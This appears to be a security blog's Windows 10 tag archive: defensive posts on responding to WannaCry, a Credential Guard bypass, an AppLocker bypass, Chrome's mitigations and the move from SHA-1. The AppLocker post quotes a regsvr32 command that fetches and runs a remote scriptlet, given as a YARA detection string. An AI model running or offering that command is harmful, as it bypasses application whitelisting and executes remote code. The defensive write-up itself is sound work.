Tag Archives: Microsoft Windows 10

Responding to Wana Decrypt0r / WanaCrypt0r Infections

As I am sure you are aware earlier this week a new variant of ransomware named WanaCrypt0r began to infect many systems worldwide using the vulnerability patched in March 2017. The infections were especially severe in the UK (hospitals were affected), Spain (banks, the ISP Telefonica and gas/electricity providers) among many others. The infections were spreading in a worm (defined) like fashion.

The ransomware uses the vulnerability exploited by the “Eternal Blue” exploit patched by Microsoft in Mach by their MS17-010 update. This exploit uses the SMBv1 (defined) protocol to enter a vulnerable system over port 445 (when that port is accessible from the internet). In some instances the CERT of Spain have observed the exploit installing the DoublePulsar malware on the already infected system. A live map of this malware’s global infections is available here. Once the malware obtains access to your system it installs the WanaCrypt0r ransomware to encrypt your files. As detailed by BleepingComputer it also terminates active databases and email servers so that it can encrypt them also.

On the 12th of May, the spread of the malware was temporarily halted by the actions of the malware researcher known as MalwareTech. They registered a website domain the malware checks if it exists while installing itself on your system. If it exists, it halts its installation and doesn’t encrypt your data (acting like a “kill switch”). I use the word temporary above since as the researcher points out all the malware authors need to do is to choose a different domain and re-release the updated malware (or worse they could use a domain generation algorithm (DGA)(defined) to make registering the websites by researchers even harder). The purpose of the malware checking if this domain was registered is to check if it is running inside a malware sandbox (defined).

How can I protect myself from this threat?
If you have not already done so, please install the MS17-010 security update (released in March 2017) on your Windows based servers and workstations. Researchers are simply saying “patch your systems” and that is what they mean. Microsoft discusses this advice in more detail in their MSRC blog post.

A full list of the versions of Windows affected by vulnerabilities patched within MS17-010 is provided at the end of this post.

If you are not sure how to update your systems, the following links below will assist if you are consumer/small business. Larger corporations should check with their IT team/system administrators install this update. If you can, please install all other remaining security updates:

Windows Vista

Windows 7

Windows 8.1

Windows 10

Microsoft have since released the MS17-010 update for all other remaining out of support Windows systems namely Windows XP, Windows Server 2003 and Windows 8.0. They are available as direct downloads from their MSRC blog post. I checked earlier today and these updates were not being offered by Windows Update and Automatic Updates for those older versions of Windows, please obtain the updates directly from their MSRC blog post.

While the “kill switch”for this malware was used (as mentioned above), it is very likely to return in the future. The steps below will better prepare you now and for the future.

I am aware Windows Vista is out of support at this time but it was supported when the MS17-010 update was released.

Update: 15th May 2017:
It is appears a new variant (Uiwix) of this threat is now circulating which does not have a kill switch. This variant does not appear to spread using a different vulnerability. Other variants are currently in-progress.

Update: 18th May 2017:
As mentioned above, newer variants of this malware are being made available. They exploit the same vulnerability as WannaCry but don’t spread in a worm like fashion.

I would suggest installing the MS17-010 as soon as possible since further ransomware is likely to capitalise on many devices (approximately 1 million still exposing the SMB protocol to the internet, with roughly 800k being Windows devices).

Moreover, the ShadowBrokers may release more exploits next month (and continue to do so on a regular basis) but this time we are unlikely to have security updates ready for them. My advice is to be prepared in June.

Thank you.

Update: 21st May 2017:
The Eternals Rocks worm is now also spreading by exploiting exposed systems over SMB. The advice below to block installation of WannaCrypt should prevent infection of your systems. At this time, the worm is not carrying out malicious actions with infected devices. Instead it is setting up a C&C (C2)(defined) infrastructure and may leverage this for malicious actions in the future.

Bayer healthcare equipment was confirmed affected by WannaCry but service was restored in less than 24 hours. Other manufacturers have also issued security advisories:


Smiths Medical


Johnson & Johnson

The US ICS CERT have issued an alert with recommendations for critical infrastructure devices. Affected vendors include those mentioned above and GE, Philips, Tridium, Emerson Automaton Solutions, Schneider Electric (among others).

Please note the above link for the ICS CERT advisory is https://ics-cert.us-cert.gov/alerts/ICS-ALERT-17-135-01D If this advisory is updated it will become https://ics-cert.us-cert.gov/alerts/ICS-ALERT-17-135-01E Further updates will change the final letter to F, G and so on.

ICS CERT also issued an FAQ on WannaCry which you may find useful.

Additional advice/considerations:
At this time there is no known way to decrypt your files if you have been effected by the WanaCrypt0r ransomware. If you have the option of restoring your files from a backup, please do so. Your only other option is discussed by BleepingComputer at the end of this article.

If you followed the advice earlier in the week and turned off your systems before they were infected, that was a wise precaution. However when you power them back on you will need to avoid them becoming infected before you can secure them. A French security researcher had a honeypot (defined) of theirs infected 6 times in 90 minutes.

If you can segregate your vulnerable devices (including devices within your network perimeter) so they don’t expose the following ports:

  • TCP port 445 with related protocols on UDP ports 137-138
  • TCP port 139
  • Also disable SMBv1 (it’s a deprecated protocol)
  • Please also block the Remote Desktop Protocol (RDP) port 3389 (defined) at the entry point to your corporate to prevent the spread of this malware as recommended by the US CERT.

Once you have updated your Windows devices against this vulnerability, please by all means resume normal operations but follow the advice of the US CERT and avoid having the SMB port exposed to the internet going forward as a defense in-depth measure (defined)(PDF).

Other recommendations are as follows:

  • It’s important to understand, installing the update mentioned in this post will protect your Windows systems from spreading the ransomware to other systems. If you click on a link in a suspicious email (or another source) the ransomware may still be downloaded but will only encrypt/effect your system.
  • For any critical systems, ask if they really need to be connected to the internet or not? Avoid unnecessarily connecting them.
  • Provide your staff with security awareness training (defined)(PDF). This will prevent this malware infecting your systems by means of phishing (defined) (which can still encrypt your data even if you have installed the above recommended security update, that update only blocks the spreading of the infection). According to the US CERT and HelpNetSecurity this advice isn’t confirmed but it will not reduce your protection.
  • Verify your organization can recover from a ransomware attack like this as part of your Business continuity process (BCP)(defined)(PDF).
  • If you have an incident response team, verify their standard response process against a ransomware attack like this to ensure it is fit for purpose.

Thank you.


Affected Windows versions:
While the MS17-010 security bulletin lists which versions of Windows are vulnerable to this ransomware, I have listed them all below (this applies to all 32 and 64 bit versions of Windows listed below):

Windows XP (with Service Pack 3)

Windows Server 2003 (with Service Pack 2)

Windows Vista (with Service Pack 2)

Windows Server 2008 (with Service Pack 2)

Windows Server 2008 (with Service Pack 2)(Server Core installation)(defined)

Windows 7 (with Service Pack 1)

Windows Server 2008 R2 (with Service Pack 1)

Windows Server 2008 R2 (with Service Pack 1)(Server Core installation)

Windows 8.0

Windows 8.1 (with 8.1 Update (April 2014))

Windows Server 2012

Windows Server 2012 (Server Core installation)

Windows Server 2012 R2

Windows Server 2012 R2 (Server Core installation)

Windows RT 8.1

Windows 10 Version 1507

Windows 10 Version 1511

Windows 10 Version 1607

Windows Server 2016

Windows Server 2016 (Server Core installation)

Windows 10 Credential Guard Bypassed

Despite the demonstrated successes and new security mitigations (specifically Credential Guard) of Windows 10 detailed by Microsoft in the link and PDF document listed below, security researchers from CyberArk have been able to obtain domain admin account (defined) credentials from the Local Security Authority (LSA) Secrets registry hive of Windows 10 using a technique similar to Pass the Hash (PtH)(defined):



Once obtained they injected the credentials into a newly created malicious service to achieve lateral movement (defined) which lead to the compromise of the domain controller (defined). The only requirement of the exploit the researchers developed was obtaining administrator access to a workstation within the domain.

While this could be considered a tall order, a well-designed spear phishing email (defined) with a malicious attachment or a malicious link targeting an unpatched or (zero day, defined) vulnerability on the workstation could be used to achieve privilege escalation (defined) and gain administrative rights (defined). Social engineering (defined) in combination with a malicious USB flash drive could also be a potential way of exploiting this. The methodology of how the CyberArk researchers carried out this exploit is available within their blog.

They also provide a list of mitigations for this exploit, many of which are well known and/or best practice. Microsoft responded to the team’s disclosure of this vulnerability that there will not be a fix since the system must already be compromised for it to succeed.

Thank you.

Windows AppLocker Bypass Disclosed

Update: 26th April 2016:
After some further research, this bypass can be blocked by denying regsvr32.exe and regsvr64.exe (depending on your systems architecture) from accessing the internet.

These files are usually present in the following directories (folders):

C:\Windows\System32 (32 bit systems only)
C:\Windows\SysWOW64 (64 bit systems only)

For 64 bit systems you should block any regsvr32.exe or regsvr64.exe that you find in both of the above folders.

You can use your installed firewall to do this or use the built-in Windows Firewall to create a rule to do this. Example steps to create rules for the Windows Firewall are located here and here. Please refer to the support website of the manufacturer of your firewall or it’s user guide if you are using a 3rd party firewall.

Alternatively, you can create a YARA rule to detect the presence of the following string within the memory of the conhost.exe process that is spawned on Windows 7 and later when a script is executed:

regsvr32 /s /n /u /i:http://server/file.sct scrobj.dll

The part of the string we are interested in detecting would be the text after the /i switch.

More information about the conhost.exe process is available in this article.

This bypass does not make changes to the Windows registry but .sct files may be found in the Temporary Internet Files folder. Another well-known security researcher Alex Ionescu said that Device Guard (of Windows 10), fully enabled with script protection will block this bypass as well.

Further discussion and advice for this issue are available within this blog post.

I hope that this information is useful. My thanks to a colleague (you know who you a
re!) for his very useful insights on this topic.

Thank you.

Original Post:
Last week a security researcher made publically available proof of concept code that has the ability to bypass Windows AppLocker (application whitelisting).

I have written about this issue separately using Yammer but will provide more discussion below:

Why Should This Issue Be Considered Important?
According to this ThreatPost article the researcher initially responsibly disclosed (defined) this issue to Microsoft. However, it is uncertain if Microsoft will create a security update or mitigation to address this issue since AppLocker is functioning by design. In 2011 a bypass to AppLocker was discovered by Didier Stevens which was later addressed by Microsoft with a hotfix.

With a known bypass of AppLocker now being disclosed the effectiveness of AppLocker has been significantly reduced. I’m hoping that for this new bypass a similar solution can be found. I’m a particular fan of AppLocker since it provides a strong defence against zero-day malware (defined) and ransomware (defined). It is also relatively easy to configure. An introductory post to configuring AppLocker would be this Malwarebytes blog post.

Since it runs with kernel level privileges (defined) it isn’t easy for an attacker to shut it down and can be configured to block code that is run by an administrator (defined) (unless that code is already whitelisted). The enhancements it received in Windows 10 e.g. blocking a script from being manually entered at the command prompt is a good example of defence in-depth (defined)(PDF) security.

How Can I Protect Myself From This Issue?
As mentioned above, at this time there is no known workaround for this bypass. While blocking Regsvr32.exe using AppLocker may seem like an obvious solution, this is a legitimate application that is often used by Windows especially during program installation and updates. Denying this application from running would likely lead to unexpected behavior.

I’ll monitor this issue and post here should further information become available. Thank you.

Google Chrome Benefits From Windows 10 Security Mitigations

Earlier this year in February, Google added several new security mitigations (defined within this post) to Google Chrome that work in partnership with lesser known changes within the Windows 10 update (known as Build 10586 or Version 1511) made available by Microsoft in November last year.

How Do These New Techniques Work?
In total 3 new mitigations were added:

    1. Block un-trusted fonts
    On numerous occasions over the last year Microsoft have released security updates that address vulnerabilities related to Windows handling of fonts (examples here, here and here (among others)). Such vulnerabilities are of interest to attackers since when successfully exploited they provide the attacker with kernel mode privileges (defined). The concept of a kernel is defined here. A mitigation designed to make exploiting such vulnerabilities more difficult is present in the most recent version of Microsoft EMET version 5.5 and is discussed in more detail on page 11 of the EMET user guide as well as this TechNet article.

    Windows 10 features a system wide means of blocking the use of fonts to only the Windows Font directory (folder) by default located at: C:\Windows\Fonts However due to the application compatibility issues that this feature can cause it is turned off by default. While the ability to enable this security feature for running applications on a per process (defined) basis is available this is unsuitable for Chrome since it creates multiple processes with different security permissions applied. However, the November 2015 Windows 10 added the ability to enable the blocking of fonts for individual processes of which Chrome can now take advantage of.

    2. Block the creation of child processes
    This mitigation is intended to block an attacker’s exploit from creating new running processes without any restrictions of the Google Chrome sandbox (discussed below) on a Windows device if they are successful at exploiting Google Chrome. Google Chrome has always incorporated a protective sandbox (defined) that prevents malicious code from being able to make changes to the computer upon which Google Chrome is installed.

    To address a vulnerability reported by Google to Microsoft in late 2014; the Windows 10 November update provides the ability to applications (if they choose to use it) to block the ability to create child processes including console processes (disused further in the Google bug report linked to above). This new capability is now utilized by Google Chrome.

    3. Block the loading of DLLs (defined) from network drives
    While Windows provides the ability for an application to load a DLL from a network location (e.g. a mapped network drive); this can be used by an attacker to insert malicious code into a legitimate application (e.g. if they substitute a legitimate DLL in a network location with a malicious DLL of the same name).

    This ability has been disabled within Google Chrome when it’s installed on Windows 10 with the November 2015 update further hardening it against this type of attack. This capability is similar to the defences of Microsoft Edge against DLL injection.

    All of the above new mitigations provide defence-in-depth (defined)(PDF) security against possible future vulnerabilities and provide further incentive for Windows users to migrate to Windows 10. Please do not misunderstand me I am not trying to advocate that users do so, I am simply pointing out the additional security features that are available if you choose to use Windows 10 (with the November update) and Google Chrome in combination.

    Thank you.

Why Your Organizations Website Should Migrate From SHA-1

Update: 15th March 2017:
The first practical attack against SHA-1 took place in February 2017 and is discussed in a more recent blog post.

Thank you.

Update: 25th June 2016:
Microsoft have updated their SHA-1 deprecation roadmap to state that from the 12th of July changes described in that psot will be seen for Microsoft Edge, Microsoft Internet and Windows 10 (with the Anniversary update) with regard to how they display the status of SHA-1 certificates. Further details are available within that post.

Thank you.

Update: 10th January 2016:
As mentioned in a recent blog post Mozilla have needed to re-enable SHA-1 certificates for “man-in-the-middle” (defined) devices due to issues being experienced by companies/organizations using such devices.

In addition, in mid-December Google announced their schedule for phasing out SHA-1. They too are considering moving the deadline forward to 1st July 2016 but have set a hard deadline of the 1st January 2017.

At the end of their blog post announcing this schedule they also provide advice on migrating from SHA-1. It is notable that within Step 2 of their plan they mention they took into account the issue Mozilla encountered (mentioned above; however, Google published that blog post before Mozilla Firefox users encountered that issue and worked around it in advance).

The migration from SHA-1 poses some very difficult issues for both users who cannot upgrade their web browsers before the imposed deadlines as well as corporate users who will be unable to make the transition in time (e.g. they are using custom applications that are critical to their business). These issues are discussed here with a possible work around being voted upon by the CA/Browser Forum discussed in a separate post.

Thank you.

Update: 24th November 2015:
Since publishing this blog post last month Mozilla and Microsoft are considering moving forward the deadline for phasing out SHA-1 to the 1st of July 2016. Their decisions have come in light of the recent disclosure of potential attacks on SHA-1 previously discussed within this blog post. The final deadline has not yet been decided but this should be yet another reason to begin planning to move your organization’s website away from using SHA-1.

Thank you.

Original Post:
Earlier this month a report was published by a team of researchers which shows that a potential attack on a SHA-1 hash (defined) could take as little as 3 months and cost in the region of USD $75k to $125k. The time and cost necessary are significantly less than the previous 2012 estimates of $700k necessary in 2015 and $173k by 2018.

Why Should This Potential Attack Be Considered Important?
In October 2012 possible attacks on SHA-1 were discussed and estimates provided on how time such attacks would take to carry out. Migration away from SHA-1 at the time was suggested. With the publication of the new research this month the need for migration has become more important.

An attack against the MD5 hash algorithm in 2012 was used by malware known as Flame to allow the installation of the malware onto PCs by making it “look like” genuine Windows Updates from Microsoft.

This was accomplished by the malware authors making improper use of Microsoft’s Terminal Services licensing certificate authority (CA)(defined). The certificate used to sign the updates was created using the MD5 algorithm (defined). A hash collision attack (defined) was used by the malware authors to make a different signing certificate produce the same hash as that of the genuine signing certificate. This seemingly “genuine” certificate was then used to sign their malware making it look like those malware files were Windows Updates.

While weaknesses in the MD5 algorithm were used to accomplish this, the same method of attack could potentially be used with SHA-1 to once again make malware look like legitimate/non-malicious files. When I say this, I don’t mean that an attack of this kind could again be carried out against Windows Update but I am referring to the use of SHA-1 in general. It’s not uncommon to see SHA-1 hashes provided when downloading new software or software updates from a software vendor’s website. If those files could be replaced with malware that has an identical hash to that of the legitimate file, the same type of attack could be carried out. You could download the file which would be malware but it would have the same SHA-1 hash as the genuine software.

SHA-1 is not only used for code-signing certificates but also with TLS (defined) secured websites. For example, if a website e.g. example.com has a legitimate certificate, that certificate could potentially be used by an attacker to provide more trust to a website of their choice using a collision attack on SHA-1. Thus when you visit the attackers website, malware.com it would appear to have a legitimate/trusted certificate. If this fake certificate were used in combination with another attack e.g. pharming (defined)(also discussed further in this post), there is the potential for you to visit example.com and actually be taken to the attacker’s website but example.com would appear in your web browsers address bar (while at the same time having a seemingly legitimate TLS certificate making the website appear even more trustworthy).

How Can I Protect Against The Known Weaknesses in SHA-1?
If you would like to check if your website uses a SHA-1 certificate you can visit this website. That site also provides advice on obtaining a newer SHA-2 certificate.

In addition this link provides advice on generating a new TLS SHA-2 certificate. Moreover a list of compatible web browsers, operating systems, web servers, databases, firewalls etc. is provided here. Finally the current planned roll-out phases of SHA-2 is provided here. Moreover you may find that this article provides useful background information and advice. For TLS certificates, the deadline for transition to SHA-2 is currently January 2017.

However a ballot with the CA/Browser Forum wishes to extend the issuing of SHA-1 certificates throughout 2016 giving large organizations with too many certificates to switch over during 2016 more time to do so. It appears from this post that this 1 year extension was granted (please see the update below for clarification on this).

Update: 4th January 2016:
I have been contacted in relation to the CA/Browser forum vote and have been informed that Symantec withdrew their ballot and the Baseline Requirements section on SHA-1 are unchanged. Many thanks to Mr. E. Mill for this information.

Update: 7th February 2016:
Qualys in September 2014 published a thorough blog post detailing how to migrate from SHA-1 including what to do should you need to support devices that cannot migrate from SHA-1.

I hope that the above information is useful to any organization or individual wishing to migrate their websites TLS certificate from SHA-1 to SHA-2.

Thank you.